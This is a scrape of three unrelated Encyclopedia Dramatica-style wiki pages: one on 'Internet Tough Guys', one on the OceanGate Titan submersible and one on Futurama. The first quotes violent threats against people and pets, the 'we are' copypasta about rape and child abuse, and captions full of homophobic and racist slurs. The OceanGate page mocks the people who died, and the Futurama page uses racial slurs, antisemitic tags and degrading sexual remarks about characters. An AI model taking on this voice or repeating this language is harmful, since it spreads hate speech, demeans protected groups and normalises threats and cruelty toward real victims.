way to shoot out insults all weekend while i am not even near a computer. u guys are really stand up guys. whatever. keep on with your bs. all i know is i gave a location and what i looked like and what ill be wearing. u can say it's fake all u want, but it isn't. no one will come see for themselves. to tell u the truth, i am exhausted from all this. ill just let u guys keep on with the insults and chalk it up to you all just being internet wannabe thugs. ill just go back to talking about the wire. i am exhausted from saying the same things over to u pansies]]|Queensonny AKA THE DON:The Original Internet Tough Guy.

|real funny [[faggots]]. you think this is a joke?
yea making fun of me is so [[funny]], so funny i forgot to laugh.
If you wanna talk like that to me why don't you come here and say it to me face so i can answer your insults with a swift fist to the nose. yea you have a lot to say from hundreds of miles away but i bet [[What|if my fists were in reach of your face you would be like a tv on mute with no volume button]] So do yourself a favor and keep your mouth shut unless you want to die. Next time you think about saying something like that to me I want you to remember one thing.
[[Lie|I know the guy that created google maps]] and I can locate you in the time it took me to type this.Don't want anymore problems....didn't think so faggot|[[Juggalo]] Tough Guy on [[B/|/b/]]

|[[BAWWWWWW|You are viewing this message because ED is currently under siege by editors of Wikipedia.]] What we try to offer is free knowledge to the world. Instead, you got people like Grawp, and people who take them for granted. It's called insecurity, people! So, anyway, you guys suck You guys are people Who have nothing better to do than to pick on innocent TOW editors, like [[Sceptre]]. This is why you never fuck with Wikipedia Because this is what will happen Please do cease and desist immediately And find something else to do!|MILKY (This was a [[failed]] threat made during a [[BLANKING IN PROGRESS]]. [[Serious business]] for sure.)

|Thats the point dumbfuck, i said i could and want to kill you, but their not death threats|Of course not.

|Ok motherfucker here is what im goig to do in 3 days, im going to backtrace your gay cat loving ass with your i.p address then i going to breake into your house with my pistol and cat hating friends and kill your cat in front of you,then kill your family the slowest and painfullest way possibal, then kill you the most painful and slowest way possibal... you know what? thank you, now that i know your tourchering dogs, im going to tourcer and kill cats too YEAH! so you can blame me|Be careful, for bitchkisser9000 has 1337 h4x0r skills and will trace you.

|Ok first off, back the fuck up. And yes I can find your IP address, Duuuh. Think before you say Miss High-And-Mighty shit. KThanks ;)|Miss[[fat|beauty]]queen101, another dangerous h4xor wandering around the interwebz.
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DID YOU WRITE THIS? WHO THE FUCK DO YOU THINK YOU ARE WORRYING ABOUT YOUR FUTURE,HOUSING AND EDUCATION! AT LEAST YOU HAVE A FUCKING NORMAL FUNCTIONING BRAIN? OR DON'T YOU????? MY SON IS AUTISTIC AND I WOULD SPEND MY LAST DOLLAR TO MAKE HIM HAVE A LEAST HALF A NORMAL LIFE!! MONEY ISN'T EVERYTHING CUNT!! IF I KNEW WHO YOU WERE YOU GUTLESS FUCKING FREAK I'D KILL YOU WITH MY BARE HANDS YOU HORRIBLE PEICE OF SHIT YOUR GOING TO HELL!!!!!!!!

This woman has contacted me and said some very offensive and inflammatory. Here is what was said, be aware of her and ignore her.

Alexandra Kayukov

Today at 11:00am

Report Message

It costs six million dollars to take care of one Autistic person. How many houses can be built for the same price? Sandra Gallagher
This is my message to her and her subsequent response.

Today at 12:46pm
Me:
I am sorry but I am confused as to why you have sent me this message and exactly where you get your facts. All, I would say is that if that was your child, what would you think they were worth?

Alexandra Kayukov:

Today at 10:57pm

I saw you in one of the Autism groups. I've seen many sources on the internet, both videos and articles, that tell the price of Autistic people. I definitly value giving between four and 60 people homes, depending on what else they recive, to be better than my personal pleasure. For half the six million dollars, I could have been given a good home and be able to attend college to get a good job and contribute back every penny of the money. I'd also be able to work to progress technology.

Me:

I am confused as how you can make the connection between the cost of helping people with autism and housing. Helping people with autism doesn't take anything away from you or anyone else, as well I question your numbers. Certainly, there is a cost but even if no money was spent on helping autistic people that would not mean there would be more housing or that you could go to college. [[yes|Autism affects 1 in 150 kids, are you saying that noone should help these kids?]] [[Nothing|What do you propose be done?]] I think that you have a very distorted view on this matter and some misguided views. I would be far more upset about the billions of dollars that are spent on [[war]] and other irresponsible, wasteful projects. Helping children reach their full potential is not taking anything away from you and I suggest you get your facts straight before you approach a parent of an autistic child again and accuse them of taking away something from you. If you do not have a house or a college education that is not because of the help that autistic people receive, your blame is misplaced and hurtful. Millions of parents around the world are brought to the point of bankruptcy helping their children because insurance won't help them. What is next will you be confronting parents of other disabled children, people living with cancer or some other disease and blaming them for your personal failings?

I have reported her and subsequently blocked her, she is obviously misguided and mistaken and feels entitled to harrass people.

Sincerely,

Sandra
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File:ScreenHunter 02 Sep. 29 17.42.gif|How to [[fail]] at threatening.
File:ITGlol.jpg|Internet tough guy-ing in progress.
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File:internettoughguy.png|Internet tough kid in a game. (Notice how his name begins with "emo")
File:Eliasqousttoughguy.jpg|Facebook tough guy reacts to a [[troll]].
File:Internet tough guy15341543.jpg | Internet tough guy reacts to Mitchell trollin' emo videos. and his "NO U"s
File:Internetbadass.jpg|[[Chris Crocker|Badass Internet homie.]]
File:Youtube indian tough guy.GIF|[[India]]ns take YouTube very seriously.
File:Itgqv4.png|Example of an Internet tough guy.
File:toughguy.jpg|She killed [[John F. Kennedy|Kennedy]] IRL.
File:Toughrulebreaker.jpg|Maximum power.
File:Japandrifting.jpg|Pure [[Catholic]] fury.
File:Sorox123.JPG|NOT EVEN KIDDING.
File:Picture 5.png|Fatty ITG fail.
File:CnnToughGuy.png|An Internet tough guy on the [[CNN]] blogs.
File:Jewtubetuffguise.png|The [[epic]] battle rages on.
File:FacebookITGLolwut.jpg|Serious [[fucking]] business over failbook.
File:Typical Singaporean.jpg|Failbook tough guy is [[No Life|waiting]]...
File:Internet toughguy threat.png|He knows where you live because he backtraced you!
File:Luigi DA Butthurt.PNG|DeviantArt ponyfag, gettin' on your ass for BEING A BIG MEANIE!!!!!!!!!!!!! :(
File:ButthurtLuigionYoutube.png|This is what will happen if you betray Internet Tough Guy's clique.
File:Lawl2.PNG|OOOOOOH SNAP, HE'S GETTING HIS FRIEND TO HELP HIM!!!
File:AnotherButthurtLuigi.png|Real 'ffective.
File:Butthurtrules33.png|That too.
File:Oh gawd, moar butthurt. HIDE YO KIDS, HIDE YO WIFE.png|Unless his mom is a [[tranny]], she doesn't have a dick.
File:ButthurtLuigiNeverStopsWithHisYouTubeSocks.png|Notice how he twists the word "lulz" to his own asshurt ways, the exact opposite of what lulz actually represents.
File:betacringe.jpg| a fine example of the internet bad ass.
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== The Original Anonymous Tough Guy Quote: ==

People these days seem to think we are some sort of Internet vigilante group, That couldn't be further from the truth. We are the little voice in the back of your head that wants to fuck your hot sixteen year old daughter. We are the father who beats his six year old child simply because he spilled his beer. We are every chef that's ever spit in some random person's food for the hell of it. We are the pyromaniac who burns down the homeless shelter for shits and giggles. We are the person who rapes the same girl twice. We are that feeling you get when you beat your pets; and enjoy it. We see some guy hang himself live, we laugh. A wrestler kills his family, we laugh. Some maladjusted Asian shoots up his university, we laugh. Fifty-thousand die in North Korea, we laugh. AIDS ravages a continent, we laugh. An Austrian man locks his daughter in his basement for 24 years and fathers 8 children with her, we laugh. A religion invented by a psychotic writer swindles countless gullible fucktards out of their cash, we laugh, and then go kick his religion's ass just for the hell of it. We aren't some vigilante group righting wrongs. We aren't your friends, your buddies or your saviors. Your feelings mean nothing to us. We are human nature unencumbered by pointless ethics, foolish moralities or arbitrary laws and restrictions. We are every dark impulse you have; unrestrained and fully realized. We are what deep down, you wish you were. We exist as a means for instant gratification, purely at our own whim. We have no culture, we have no laws, written or otherwise. We are an autonomous collective, each an insignificant part of a whole. You cannot assimilate us, we do not change. You cannot defeat us, we do not exist. You cannot infiltrate us, we know our own. We do not sleep, we do not eat and we do not feel remorse. We will tear you apart from outside and in, we have all the time in the world. You operate under the delusion that we will someday be outdated, that we might even see the light. You are irrevocably wrong. You are not special, you are not unique and you aren't crusaders for justice. You're a blend of college age faggots who think that they can do some sort of good, and who are desperate to belong, to have attention. You have accomplished nothing, and you will fall. Enjoy your AIDS, faggots.

== [[Gorilla warfare|Internet Tough Guy Copypasta]] ==

What the fuck did you just fucking say about me, you little bitch? I’ll have you know I graduated top of my class in the Navy Seals, and I’ve been involved in numerous secret raids on Al-Quaeda, and I have over 300 confirmed kills. I am trained in gorilla warfare and I’m the top sniper in the entire US armed forces. You are nothing to me but just another target. I will wipe you the fuck out with precision the likes of which has never been seen before on this Earth, mark my fucking words. You think you can get away with saying that shit to me over the Internet? Think again, fucker. As we speak I am contacting my secret network of spies across the USA and your IP is being traced right now so you better prepare for the storm, maggot. The storm that wipes out the pathetic little thing you call your life. You’re fucking dead, kid. I can be anywhere, anytime, and I can kill you in over seven hundred ways, and that’s just with my bare hands. Not only am I extensively trained in unarmed combat, but I have access to the entire arsenal of the United States Marine Corps and I will use it to its full extent to wipe your miserable ass off the face of the continent, you little shit. If only you could have known what unholy retribution your little “clever” comment was about to bring down upon you, maybe you would have held your fucking tongue. But you couldn’t, you didn’t, and now you’re paying the price, you goddamn idiot. I will shit fury all over you and you will drown in it. You’re fucking dead, kiddo.

The top Navy Seal sniper with over 250 kills in Al-Quaeda was [http://www.allvoices.com/contributed-news/13951827-navy-seal-war-hero-sniper-killed-at-gun-range murdered] by the same butthurt 25-year-old *chan user he was threatening.

=== [[Pirate]]d copy ===

What in Davy Jones' locker did ye just bark at me, ye scurvy bilgerat? I'll have ye know I be the meanest cutthroat on the seven seas, and I've led numerous raids on fishing villages, and raped over 300 wenches. I be trained in hit-and-run pillaging and be the deadliest with a pistol of all the captains on the high seas. Ye be nothing to me but another source o' swag. I'll have yer guts for garters and keel haul ye like never been done before, hear me true. You think ye can hide behind your newfangled computing device? Think twice on that, scallywag. As we parley I be contacting my secret network o' pirates across the sea and yer port is being tracked right now so ye better prepare for the typhoon, weevil. The kind o' monsoon that'll wipe ye off the map. You're sharkbait, fool. I can sail anywhere, in any waters, and can kill ye in o'er seven hundred ways, and that be just with me hook and fist. Not only do I be top o' the line with a cutlass, but I have an entire pirate fleet at my beck and call and I'll damned sure use it all to wipe yer arse off o' the world, ye dog. If only ye had had the foresight to know what devilish wrath your jibe was about to incur, ye might have belayed the comment. But ye couldn't, ye didn't, and now ye'll pay the ultimate toll, you buffoon. I'll shit fury all over ye and ye'll drown in the depths o' it. You're fish food now

=== The Outlook ===

Hey hows it going? I am contacting you through my associates son's profile, for i tend to keep my Identity confidential. Soooo my girl Ronny has been telling me that you've been harassing her through numerous messages. Now i'm not some pussy like you that would call the cops or any shit like that. I take matters into my own hands. So if you continue to mess with her, I will find where you live with my IP tracker, which tracks down the computer or any device in which the message is sent. I have countless sources and options in means of making your life a place worse than hell. I don't bother to track down people like you myself, all i do is contact one of my many associates at my disposal. Now i don't care if you're some fucking minor, if you mess with me, my friends, or loved ones, You will end up fucking paranoid in the corner of your closet.If you're over 18, that's even better. For I do not have to be merciful. So i am giving you a choice, from now on, just simply forget you ever knew she existed, and you don't have to look forward to anything.....unpleasant. Or, you can continue to message her, and have her give me a call, find where you are, and contact someone, and depending on where you are, should definitely take less than a month and a half, for i have associates in many states and cities. I should not have to give any more detail. Your location is but a few calibrations and buttons away. I trust you will do what is best for your future, Because you would have to be a complete fool to deny this chance for forgiveness. Plus, it would save me some time, money, and debts. So please, be smart about this, after all, i know you can feel pain. -Sincerely, The Outlook

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== [[IRL]] Tough Guys ==

* [[300|The 300]]
* [[Tony Stark]]
* [[Batman]]
* [[Ty Cobb]]
* [[Mel Gibson]]
* [[John Locke]]
* [[BILLY MAYS]]
* [[R. Lee Ermey]]
* [[Chuck Norris]]
* [[Janet Reno]]
* [[Rosie]]
* Creators of [[narcovideo]]s
* Killers of [[Daniel Pearl]] and [[Nick Berg]]
* [[Your resistance only makes my penis harder!|Stallion]]

{{cg|Gallery of Internet Tough Guys|ITGGallery|center|<gallery>
File:Smugsonicfag.jpg|Hard to believe he's in the Sonic fandom and has his very own emowolf sona, innit?
File:Internettoughguygranny.jpg|Granny is trying to get him laid
File:ToughMagus.jpg|Talk shit about my Turbo Grafx-16 and 3DO and you'll get sued!
File:Ahhafag.jpg|NEVER INSULT MY E-GIRLFRIEND!
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File:Internet_tough_guy_sword.jpg|Rawr.
File:Internettoughkid.jpg|Internet tough kid will fuck you up!
File:Internettoughguy2.jpg|COME AT ME BRO
File:Gab that to my mug m8.jpg|[[Britfag]] version.
File:The_Internet.jpg|Don't mess with us.
File:Muscles676596.jpg|You see what you're fucking with, motherfucker?
File:Itg_marko.jpg|Say it to my faggy face!
File:Itg_pruane.jpg|This kid will fucking find you. Somehow.
File:Bitches Don't Know I'm A Lion.jpg|A [[Furry]] internet tough guy.
File:Bitches Don't Know About Halo.jpg|[[Bitches don't know]] about the [[Halo|Arbiter]].
File:Big-Robo-Map.jpg|Big Robo: Prime example of an internet tough guy.
File:Furfag itg.jpg| Nothing says you are badass like a katana and [[A cat is fine too|a pair of cat ears]].
File:2-13-08_0021.JPG|A prime example of an internet tough guy.
File:Danthax.png|Another prime example
File:Itg_baby.jpg|Be afraid.
File:Argentkilling.jpg|Angry. Angry old man.
File:Internet_Tough_Guy.jpg|BITCH SHOW ME UR FACE SO I CAN POUND J00!!111
File:Spy.jpg|He's watching you.
File:Internet Tough Guy.png|What he really looks like.
File:Zdaemon tdeath.png|Your average [[ZDaemon]] tough guy.
File:Michael bunlckr.jpg|[[Bunlckr]] <3's internet muscle.
File:Lol tough guy.jpg|Internet Tough Guy wields majik cyberjujitsu to battle online AIDS wearing full-body condom.
File:Inuyashadork.jpg|Some ITGs have swords so [[lie|don't mess with them]]!
File:Tuckermaddox.jpg|Two of the internet's most famous internet tough guys.
File:2a7j5p5.jpg|You kno u fokin' with?
File:itsover.jpg|When computer h4x phail, there's a last resort.
File:Wahtoughguy.jpg|''WHY DONT U COME OVER 2 MY HOUSE AND SAY THAT 2 MY FACE I WILL FUCK U UP1!!!!111 [[lol]], i sure showed them!!1''
File:itg.jpg|Every internet tough guy's favorite magazine.
File:Itg quarterly.jpg|For big-shot tough guys, there's ITG Quarterly.
File:Mike_penor.jpg|Even internet tough guys stick to the rules of the internet. Namely, [[Rule 34]].
File:Internet_tough_guy.jpg|Internet tough guy of Youtube being butthurt.
File:ITGfucktard.JPG|yeah
File:Was_I_just_threatened.png|No wonder he's so popular on Deviantart
File:Internet tough guy11.jpg|Just look at him now...
File:Internet tough guy12.jpg|And then. "i gotta go"
File:58.jpg|You crossed the line
File:Youtub3t0ughguyz.png|Typical youtube tough guys
File:Itg1.PNG|[[I'm back faggots]]
File:Chatroulette Youre A Faggot.jpg|Internet tough guy on chatroulette
File:Chrisstonememe01.jpg|[[chris stone|Internet tough guy's]] don't ask, they demand
File:Chrisstonememe07.jpg|[[chris stone|Wanna take this outside?]]
File:Sticky threats 04.JPG|[[Internet tough guy]] 101
File:Narcovideo.png|"Sicarios" in [[narcovideo]]s are internet tough guys
File:Lmho.gif|People who make [[beheading video]]s, like this one of [[Nick Berg]], are also internet tough guys
File:faggotskaters.jpg| What internet tough guys look like in real life. Notice how weak and pathetic they look and makes one wonder how someone could spawn these faggots into this world.
</gallery>|}}

== See Also ==

* [[Arguing on the internet]]
* [[Immaturity]]
* [[I'm back faggots]]
* [[Grawp]]
* [[Hozupindahows00s]]
* [[Internet Jihadist]]
* [[Revolution Muslim]]
* [[Kevin Provance]]
* [[Bill Schmalfeldt]]
* [[LifeInATent]]
* [[MeganSpeaks]]
* [[Angry Homo Kid]] – Is a homo.
* [[Professor Kuhtoons]] – A [[Nigger|nigger]] who claims to be the "[[Bullshit|ultimate ranter]]."
* [[Chris-chan]] – [[Autism|Autist]] tough guy.
* [[Miss Scarlett]] – [[Feminist]] who hates [[Tranny|trannies]] and fights her enemies on [[discord]].
* [[Colonel McBadass]] – [[Pedo]] tough guy.
* [[AmericanDad86]] – [[Wikipedia]] tough guy.
* [[The rEactor]] – [[YouTube Poop]] tough guy.
* [[Psfights]] – A forum for internet tough guys.
* [[Gorgeous George]] Internet Tough Guy who has been bawing about people calling fat since 1996.
* [[U WOT M8]] – The opening gambit of the [[Britfag]] Internet tough guy.
* [[So cash]] – Shit was so cash.
* [[Gorilla warfare]]
* [[Troll shielding]]
* [[White Knighting]]
* [[Shinra Online]]
* [[Bbb23]]

== External ==

* <s>[http://www.internetassholes.8m.com Internet Assholes - Showcasing Neighborhood Assholes Since 2005]</s> LOL BALEETED
* [http://youtube.com/HanscottFilms HanscottFilms]- "[[Wigger|BONIFA (bonifagurl)]] IS PIMPIN!!!!! SO BACK THE FUCK OFF OR I WILL FIND YOU!!!!"
* [https://www.youtube.com/watch?v=vuBWbpTJRqk How to properly deal with an ITG]
* {{twitter|saifbzayed|DERSUPERCOP}}

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OceanGate

2024-07-28T12:17:31Z

YaroslavTV +1: it's genuinely happening again

{{spoiler|text=They've learned nothing from that incident and are doing it all over again}}
[[File:OceanGate-submarine_starter_pack.jpg|thumb]]

'''OceanGate''' is a company who built a submarine (or "submersible") out of a trash can, a cheap [[Xbox 360]] controller, a bit of [[MacGyver|string and glue]], and thought they could visit and profit from the [[James Cameron|Titanic]] wreckage without any issues. As you can imagine, [[Lies|this ended well and they returned home safely]].

==So what happened?==
[[File:OceanGate Titan submersible victim deaths 2023.jpg|link=and nothing of value was lost|thumb|355px|''(Except for the kid; he just wanted to spend some time with his idiot father.)'']]

Back in 1985, the wreckage of the ''Titanic'' was discovered some 350-400 miles (575-635 km) off the coast of Newfoundland, [[Canada]], at a depth of 12,500 ft (3,800 m) [[The Little Mermaid|under the sea]]. In order to get down there, you need a serious submarine able to withstand some 400 atmospheres (6000 PSI) of pressure and filled with serious state-of-the-art equipment in order to properly survive at those depths.

But like with any expensive project, someone will always come along and think they could do a better job by skimming some of the costs here and there... asking important questions like ''"we don't need ALL this oxygen, do we?"'' or ''"the walls don't need to be THAT thick, do they?"'' It kinda reminds me of the time when I was 8 years old and thought ''"cars are so expensive; we should just make them out of wood to save some of the costs!"''.

Enter OceanGate: they built a submarine called the ''Titan'' which was touted as being ''"more cost efficient to mobilize than any other deep diving submersible"'' and built using ''"off-the-shelf components helped to streamline the construction"''. In other words: built by [[redneck]]s. So after thinning out a few things here, removing a few redundant features there, and suddenly they've turned a US$20 million submarine trip into one that costs US$250,000 a pop. What a deal! Why didn't anyone think of this before??

So what are some of the things that make the ''Titan'' so cost-effective? Well, whereas other submarines are all packed with important gizmos with very little wiggle room, the ''Titan'' took most of that out in order to give its passengers some breathing space. I mean, it's not like all that extra equipment was useful or anything!

[[File:OceanGate-inside_the_oceangate_titan_submarine.jpg|700px|center|thumb|Look at all the features of the ''Titan'' that make it one of the most unique submarines that ever was built using parts swiped from a construction site.]]

Also, if you want to take a dump, well, there's a bucket in the observation lounge. Just hope the submarine doesn't flip over.

[[File:OceanGate-bathoom_time.webm|700px|center|thumb|Why do we need a fancy US$100,000 toilet system when we can get a bucket and a piss jug from my wife's clinic? ... Oh, yeah, she can just smuggle it out, don't worry about it.]]

Perhaps the most major change was swapping out expensive control equipment that may cost upwards of US$30,000, replacing it with a video game controller that cost US$30. They didn't even get the BEST video game controller, but a cheaper third-party controller from Logitech. Now sure, video game controllers are used for all kinds of military purposes, because basically anyone born since 1982 knows how to use a video game controller... but, well, let's compare the difference between how the military uses video game controllers and the way OceanGate did it:

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File:OceanGate-military_xbox_controller.jpg|ACTUAL MILITARY CONTROLLER: wired, top-tier first-party Xbox controller, other equipment can pick up the slack in case the controller breaks, good chance that there are some spares somewhere just in case, but ultimately mostly used for less critical vehicles like drones
File:OceanGate-actual_controller.png|OCEANGATE CONTROLLER: wireless (and thus will become useless if it loses power and/or bluetooth connectivity), cheap off-brand Logitech controller, no other equipment can pick up the slack, almost definitely no spares on board, and used as the primary means of locomotion for the submarine
</gallery>

Oh, and in order to seal the passengers and pilots into the ''Titan'', they were literally bolted from the outside. There was no means of exiting the submarine from the inside. People who have gone down in the ''Titan'' have likened it to a suicide mission:

[[File:OceanGate-titan_was_a_suicide_mission.png|450px|center|thumb|Totally safe! C'mon guys, what's the price of being on the edge of a frontier??]]

This was effectively one step above literally going to Lowes and getting some metal garbage cans and duct tape, then wrapping up the cans with the tape.

==Gallery==
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==Videos==
{{center|{{frame|{{fv|OceangateSubVideos|margin: auto; font-weight: bold; text-align: center;|font-weight: bold;|
<youtube>4dka29FSZac</youtube>Submarine expert explains why OceanGate's sub sucked. |
<youtube>CW7bHE-AKGE</youtube>OceanGate whistleblower told everyone the sub sucked, but no one wanted to listen.
}}|border=#022158|background=#68c3db}}}}

[[File:OceanGate-toss_controller.webm|500px|thumb|center|"It's durable that a 16 year old can toss it!" Famous last words]]

==In conclusion==
You will never be a real submarine.

You have no pressure hull, you have no ballast tanks, you have no torpedoes.

You are a drainage pipe twisted by carbon fiber and acrylic into a crude mockery of nature’s perfection.

You will always be a submersible.

==See also==
*[[Aquaphilia]]
*[[Boat]]s
*[[And nothing of value was lost]]
*[[SpongeBob SquarePants|Bikini Bottoms]]
*[[Canada]]
*[[Exploding Whale]]

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[[Category:IRL Shit]]

Futurama

2024-07-28T12:16:55Z

YaroslavTV +1: restore; not vandalism by ED standards

{{spoiler|text=Fry made out with an actual radiator under the assumption it was an alien}}
[[Image:Futuramaanime.jpg|300px|right]]
Imagine ''[[The Simpsons]]'' with more [[science fiction]] wankery, slutty women, and set in the year 3000, and you've got '''Futurama'''. The show turned out to be so bad [[Fox News|Fox]] purposely let football games run into their time-slot to spare people from sitting through another batch of Matt Groening's eye-rape. Even though Fox canned it in 2003, [[Comedy Central]] decided to revive the series by releasing four straight-to-DVD movies and airing 26 episodes in mid-2010, keeping them well away from ratings week. Thus, the show is still alive and worse than ever. In 2013, Comedy Central canceled the show for the [[Over 9000|9,001th time]]. Futurama was long dead until [[Hulu]] decided to revive it (without [[Robot|Bender's]] [[jew|voice actor]] for asking for to much jew-gold, meaning the few [[losers|fans]] won't give a shit), giving another reason not to buy their streaming service.

==The Show==
On New Years Eve, 1999, Downs Syndrome patient-turn-delivery-boy Philip J. Fry falls into a cryonic tube and is frozen for a thousand years. This spawned a raging fanboy base from the very beginning because the target demographic is [[you|losers and fags]] aching to escape their own shitty lives. After Fry wakes up, he gets a job at the Planet Express Delivery Company with his nephew, [[Old|Professor Hubert J. Farnsworth]]. Every episode begins with the Professor walking into a room and saying "[Blank] news, everyone!" before sending them on an incredibly dangerous and near-fatal (but still boring for the viewer) mission. The writers run with the premise that [[orly|the future is different than the present]] where even making a phone call is painfully [[ironic]].

==Characters==

[[Image:Bender-promo.png|thumb|center|400px]]

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|'''[[Retard|Philip J. Fry]]''': In case you have dementia, the show reminds you every single fucking episode that Fry is from the 20th century. Later we find that Fry is much like [[You]] in that he has a [[Micropenis]] when Leela comments on his size when Fry, Amy and Leela are naked and in a Steam Bath together. Fry is also his own grandfather, having gone back in time and [[Chris-chan|fucked his grandmother.]] [[Lie|That sex scene being the only notable thing about the entire series]].

|[[File:Philip Fry.png|none|right|250px]]

|-

|'''[[Robot|Bender]]''': A [[nigger|lazy, alcoholic, chain smoking, kleptomaniac]] robot. Unsurprisingly, it was revealed in the third season that he is actually [[Mexican]]. Dreams of one day killing all humans, although he is too [[lazy]] to ever get around to it. Again confirming he is Mexican.

|[[File:Bender Render.png|none|right|250px]]

|-

|'''[[Feminazi|Turanga Leela]]''': The bitch necessary to drive the plot forward. She's a karate master, cyclops-mutant-human with a good body, [[dying alone|however, she cannot find another man for the life of her]]. Even though she may be a one-eyed freak that's prone to singing boils on her ass she's somehow always fucking a man with plenty of potential like Doctor's, mayor's aides, high ranking military officers every week but she can't seem to commit to them for one reason or another. Fry wants to fuck her brains out through early seasons but she friend-zone's him harder than the average ED user until after the movies. Voiced by Peggy Bundy{{jew}}, a fact which the show never gets tired of reminding us and the prevailing reason why most viewers can't see Leela as a sex object because every time she opens her mouth, all that comes to mind is a 6 foot tall [[Ginger|redhead]] sitting on a couch. Some Leela Trivia: Her apartment number is ONE-I and her Personal ID number is One-B-D-I. Leela gets her name from [[Doctor Who]] and the fourth Doctor's companion, Leela. Leela, like most women in Sci-Fi and animation, has gravity defying breasts as shown when she is on the high gravity planet Stumbos 4 and Zap's girdle fails but Leela's breasts are as perky as ever.

|[[File:Character Leela.png|none|right|250px]]

[[File:Leela child.gif|none|right|250px]]

[[File:Leela anime.jpg|none|right|250px]]

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|'''[[Lemonparty|Prof. Hubert J. Farnsworth]]''': Fry's [[At least 100|160]]-year-old nephew and owner of ''Planet Express''. Most of his waking hours are spent [[Joe Biden|sleeping]], though he also invents pointless gadgets such as the [[Smell Yo Dick|Smell-O-Scope]] and the [[INTERNET HATE MACHINE|'What-If' machine]]. "Boring plot device, Everyone!"

|[[File:Farnsworth car.jpg|none|right|250px]]

|-

|'''[[Whore|Amy Wong]]''': A skanky [[AZN]] as rich as she is easy. She was born on Mars and is [[Beastiality|dating/married to alien ladyboy, Kif Kroker]]. Despite being [[Azn]], Amy is rather lazy and unmotivated, taking 12 years to complete her doctorate in Physics. In her defense she did say that there was no need for her to rush because she was rich and happy with her current life. A PhD really wouldn't raise her social position or income. One of the problems with Futurama and the character of Amy is that it makes the same mistake that all shows that start with one-word character descriptions do is that it forgets to have the character that it named the [[Whore]] actually have [[sex]] or slut around. Until the movies, the only person Amy had slept with was '''Fry''' while Leela was pretty much getting hammered away at by anything or anyone with a [[penis|dick]] and even those without one such as Kif. Seeing their good girl character becoming what can only be described as a [[whore|cum bucket]], the writers made a mad dash to re-establish Amy as the Whore by having her seduced by the uninspired, William Shatner parody Zapp Brannigan, along with Bender but that's pretty much akin to playing with a sex toy, rather than that one person obsessed fanboys '''DO''' want to see her screw - Leela.

|[[File:Amy wong with gune.png|none|right|250px]]

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|-

|'''[[Cthulhu|Zoidberg]]''': A [[Jew]], alien crustacean doctor with only four jokes on the entire show: being a bad surgeon, [[oxymoron|being poor]], eating garbage, and being disliked. Starting in episode three, they added a fifth joke. Zoidberg now goes, "Woop woop woop!" occasionally. A powerfully unfunny character gets a powerfully unfunny catch phrase! Still better than you because, by the end of the series, he has a place of his own, a [[girlfriend]] and a job.

|[[File:Zoidberg mass.jpg|none|right|250px]]

|-

|'''[[Douche|Zapp Brannigan]]''': [[Donald Trump|An egocentric tub of lard that somehow got to be a manwhore spaceship-captain.]] In short, pot-shots at ''[[Star Trek|Captain Kirk]]'', just not as well written.

|[[File:Zapp Brannigan - Official Character Promo.jpg|none|right|250px]]

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|'''[[Pussy-whipped|Kif Kroker]]''': Zapp Brannigan's cabin boy and general comic foil, if "comic foil" means reacting to every line from every character by sighing. Somehow gets pregnant and has tadpole babies with Leela.

|[[File:Kif kroker.jpg|none|right|250px]]

|-

|'''[[Nigger|Hermes Conrad]]''': Jamaican [[bureaucratic fuck]] needed to round out the collection of racial stereotypes and make stoners laugh. Your basic, [[cuckold]], omega male that is perfectly fine with his wife [[fuck|fucking]] Barbados Slim every chance she gets and ''Slim'' can even be seen sneaking in Hermes' house, in some episodes, when he is leaving for work.

|[[File:Hermes grade 36.jpg|none|right|225px]]

|-

|'''[[Your Mom|Mom]]''': [[Hillary Clinton|Generic corporate overlord in the guise of a sweet old lady]]. Mom had copious amounts of [[GILF|sloppy, old-people sex]] with Professor Farnsworth in the past but harbors hate since he never called back (who would?). One of her three kids, the retarded one, is Farnsworth's. Mom is one of the few friends that Zoidberg has and is actually convinced that Zoidberg is a genius in both intellect and wit. She actually believed that Zoidberg's offer to buy an expensive piece of art for $300 was him, legitimately, mocking the poor instead of the truth. Zoidberg actually believed he could purchase the art for $300.

|[[File:Hotmommy.png|none|right|250px]]

|-

|'''[[Diaperfur|Nibbler]]''': Leela's pet. Secretly an ancient [[Reptilian|alien]] spy who allowed Fry to get frozen so Fry could kill giant brains in the future. Due to his mismanagement or shortsightedness, Nibbler gets fry trapped in a realm of non-existence because he went with the inadequate ''Scooty Puff Jr'' for Fry's escape vehicle when the Nibblonians were using Fry to execute their ''[[Fap|Master Stroke]]'' against the Big Brains.

|[[File:Nibbler diaper.jpg|none|right|250px]]

|-

|'''[[Second|Scruffy]]''': The janitor. He ain't seen anyone before. His goal in life is to die exactly the same way he lived - Laying in bed, doing nothing and looking at nudie mags. His robotic wash bucket is madly in love with him.

|[[File:Scruffy w broomI.jpg|none|right|250px]]

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|'''[[Robot|Wash Bucket]]''': Scruffy's sentient, robotic mop bucket that is madly in love with him. In case you needed to be told, there are a lot of [[Retard]]s on [[DeviantArt]] that love drawing this [https://www.deviantart.com/art/Washbucket-486919955 romance].

|[[File:Wash Bucket Full.png|thumb|right|250px|Wash Bucket in its natural form]]

[[File:Washbucket by zeffernissle d81wdub-414w.png|thumb|right|250px|A lolified version of Wash Bucket on DeviantArt]]

|-

|}

'''[[Dead|Waterfall Family]]''': A family of [[Leftard|Left Leaning]], political weirdos whose job it is is to die in the same episode they appear in. Includes:
#'''[[Retard|Free Waterfall Jr]]''': Eaten by ''LRR of Onicron Persei 8''
#'''[[Bestiality|Free Waterfall Sr]]''': Pecked to death by penguins.
#'''[[Old meme|Old Man Waterfall]]''': Crushed by Decapodian battle fortress. Buried with Satanic rites by his 3 husbands.
#'''[[Feminazi|Frida Waterfall]]''': Strangled by the '''The Dark One'''
#'''[[Tinfoil hat|Hutch Waterfall]]''': Atomized by '''The Dark One'''. ''The Last Encylopod'' holds his DNA

Among the pissload of secondary characters that nobody gives a fuck about include Richard Nixon's head, Dr. Ogden Wernstrum, cookie-cutter crazy cat lady, some dude with a 9 on his shirt and Roberto the Stabbing Robot

==The [[shit|straight-to-DVD]] movies (aka Season 5)==
[[File:Beast with a Billion Backs.jpg|thumb|The only reason anyone saw ''Beast With A Billion Backs'']]
*'''''Bender's Big Score''''': Professor Farnsworth finds out the Fox executives have been fired and beaten to death for canceling ''Futurama'', Hermes gets [[Pwnt|decapitated]], everyone gets [[419 Nigerian Email Scams|scammed]] and Bender creates a shitload of [[time paradox]]es. Because every paradox creates a duplicate of the character, Bender ends up raping the universe and creates [[over 9000]] copies of himself. Reality implodes under the weight of retardation and the universe turns into [[goatse]].

